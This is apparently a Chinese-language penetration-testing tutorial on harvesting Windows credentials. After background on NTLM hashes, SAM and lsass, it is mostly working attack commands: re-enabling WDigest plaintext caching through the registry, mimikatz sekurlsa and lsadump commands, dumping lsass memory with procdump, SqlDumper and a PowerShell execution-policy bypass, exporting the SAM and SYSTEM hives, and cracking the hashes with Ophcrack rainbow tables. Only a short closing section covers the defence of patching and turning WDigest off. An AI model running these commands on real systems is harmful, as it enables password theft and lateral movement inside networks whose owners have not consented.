Windows下的安全认证机制总共有两种,一种是基于NTLM的认证方式,主要用在早期的Windows工作组环境中;另一种是基于Kerberos的认证方式,主要用在域环境中。
在windows中,密码通常由LM Hash和NTLM Hash组成,结构:
username:RID:LM-HASH:NT-HASH
Windows2000以后,Windows机器都用NTLM算法在本地保存用户的密码,密码的NTLM哈希保存在%SystemRoot%\System32\config\SAM
文件中。
windows2000以后的系统中,第一部分的 LM-hash 都是空值,因为LM-hash可以很容易的破解,所以windows2000之后这个值默认为空,所以第二部分的NTLM-hash才真正是用户密码的哈希值。
在域环境中,用户信息存储在ntds.dit中,加密后为散列值。
SAM是⽤来存储Windows操作系统密码的数据库⽂件,为了避免明⽂密码泄漏,SAM⽂件中保存的是明⽂密码经过⼀系列算法处理过的Hash值,被保存的Hash分为LMHash、NTLMHash。在⽤户在 本地或远程登陆系统时,会将Hash值与SAM⽂件中保存的Hash值进⾏对⽐。
在后期的Windows系统中,SAM⽂ 件中被保存的密码Hash都被密钥SYSKEY加密。SAM⽂件在磁盘中的位置在C:\windows\system32\config\ SAM
⽂件在Windows系统启动后被系统锁定,⽆法进⾏移动和复制。
本地安全权限服务控制Windows安全机制,这是一个系统进程,它会随着系统启动而自动启动。
管理IP安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序等,是一个本地的安全授权服务,并且它会为使用winlogon服务的授权用户生成一个进程。这个进程是通过使用授权的包,例如默认的msgina.dll来执行的。如果授权是成功的,lsass就会产生用户的进入令牌,令牌别使用启动初始的shell。其他的由用户初始化的进程会继承这个令牌的。而windows活动目录远程堆栈溢出漏洞,正是利用LDAP 3搜索请求功能对用户提交请求缺少正确缓冲区边界检查,构建超过1000个"AND"的请求,并发送给服务器,导致触发堆栈溢出,使Lsass.exe服务崩溃,系统在60秒内重新启动,并且会导致一些功能失效。
通常使用工具将散列值和明文密码从内存中的lsass.exe或SAM文件中导出。获取散列值后,可通过彩虹表来破解散列值,或使用哈希传递的方法进行横向渗透。
当目标为win10或2012R2以上时,默认在内存中禁止保存明文密码,但是我们可以通过修改注册表的方式抓取明文,输入以下命令即可:
Reg add HKLM\SYSTEM\CurrentContro
lSet\Control\SecurityProviders\WDigest /vUseLogonCredential /t REG_DWORD /d 1 /f
直接读取
需要管理员权限
privilege::debug //提升至debug权限
sekurlsa::logonpasswords //抓取密码
将mimikatz上传执行或上线cs利用插件进行直接读取
Procdump+Mimikatz离线读取lsass.dmp文件
Procdump是微软官方发布的工具,可以用来将目标lsass文件导出。先在目标机器上上传Procdump,导出lsass.dmp。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
如果对lsass.exe敏感,可以配合lsass.exe的pid来使用:
procdump -accepteula -ma pid lsass.dmp
将lsass.dmp下载本地后,执行执行Mimikatz导出lsass.dmp里面的密码和hash:
sekurlsa::minidump 目录\lsass.dmp //将导出的lsass.dmp载入到Mimikatz中
sekurlsa::logonpasswords full //获取密码
如果目标系统上安装了windows sql server ,SqlDumper.exe默认存放在c:\Program Files\Microsoft SQL Server\number\Shared,
number对应sqlserver版本
140 for SQL Server 2017
130 for SQL Server 2016
120 for SQL Server 2014
110 for SQL Server 2012
100 for SQL Server 2008
90 for SQL Server 2005
利用方式:
查看lsass.exe的ProcessID
tasklist /svc | findstr lsass.exe
根据ProcessID来dump 内存文件,Full dump file执行成功后会生产 SQLDmpr0001.mdmp文件
Sqldumper.exe ProcessID 0 0x01100
mimikatz加载dump文件
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full
具体利用:获得lsass.exe的进程ID
tasklist /svc |findstr lsass.exe
dump lsass.exe进程的内存文件
powershell -exec bypass "import-module .\Get-ProcessMiniDump.ps1;Get-ProcessMiniDump -ProcID 进程 -Path C:\windows\tasks\lsass.dmp"
管理员权限运行PwDump,获取系统所有账户的散列值
利用注册表命令导出SAM和System文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
将sam.hive和sysem.hive下载本地获取NTLMHash
利用工具minikatz读取,sam.hive,sysem.hive,minikatz.exe放在同一文件下
lsadump::sam /sam:sam.hive /system:system.hive
获取密码hash后,对hash进行破解,得到明文密码。Ophcrack网站https://www.objectif-securite.ch/en/ophcrack提供了在线Hash破解服务,我们将得到的NTLM Hash输入到第一个查询框内,点击GO即可进行破解,小于14位的密码一般在几分钟内。
Ophcrack是一款Windows密码哈希值破解工具,在它的官网为我们提供了几十GB的哈希表。彩虹表下载地址:
https://ophcrack.sourceforge.io/tables.php
微软为了防止用户的明文密码在内存中泄露,发布了KB2871997补丁,关闭了Wdigest功能。Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。
如果无法更新补丁,需要手动关闭Wdigest Auth,在CMD中输入以下命令:
reg add HKLM\SYSTEM\CurrentControlSet\
Control\SecurityProviders\WDigest /vUseLogonCredential /t REG_DWORD /d 0 /f // 关闭Wdigest Auth
需要将UseLogonCredential的值设为0,然后注销当前用户,重新登陆即可。